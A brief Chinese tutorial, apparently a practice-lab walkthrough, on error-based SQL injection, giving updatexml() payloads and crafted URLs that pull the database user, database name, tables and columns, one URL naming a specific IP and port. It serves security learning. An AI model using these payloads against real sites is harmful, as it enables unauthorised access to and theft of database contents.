本文仅作为学习使用切勿非法使用
报错注入攻击
1.首先访问http://x.x.x.x/new_list.php?id=1 可以正常访问
2.接下来访问http://x.x.x.x/new_list.php?id=1' 当id=1' 会因为多了一个单引号而报错
通过页面结果返回可以看出,程序员直接将错误的信息输出到了界面上所以可以利用报错注入获取数据
报错有多种格式 这里我来演示利用updatexml()演示SQL语句获取的user()值SQL语句执行如下
`' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+`
构造语句
http://x.x.x.x/new_list.php?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
可以看到得到了user的值
2.利用updatexml()获取数据库名
SQL语句
`' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+`
构造语句
http://219.153.49.228:45517/new_list.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
利用updatexml()获取数据库表名
SQL语句
`1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='min_ju4t_mel1i' limit 0,1 ),0x7e),1)--+`
构造
http://x.x.x.x/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='min_ju4t_mel1i' limit 0,1 ),0x7e),1)--+
获取列
SQL语句
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='min_ju4t_mel1i' limit 0,1 ),0x7e),1)--+
构造语句
http://x.x.x.x/new_list.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='min_ju4t_mel1i' limit 0,1 ),0x7e),1)--+
领取专属 10元无门槛券
私享最新 技术干货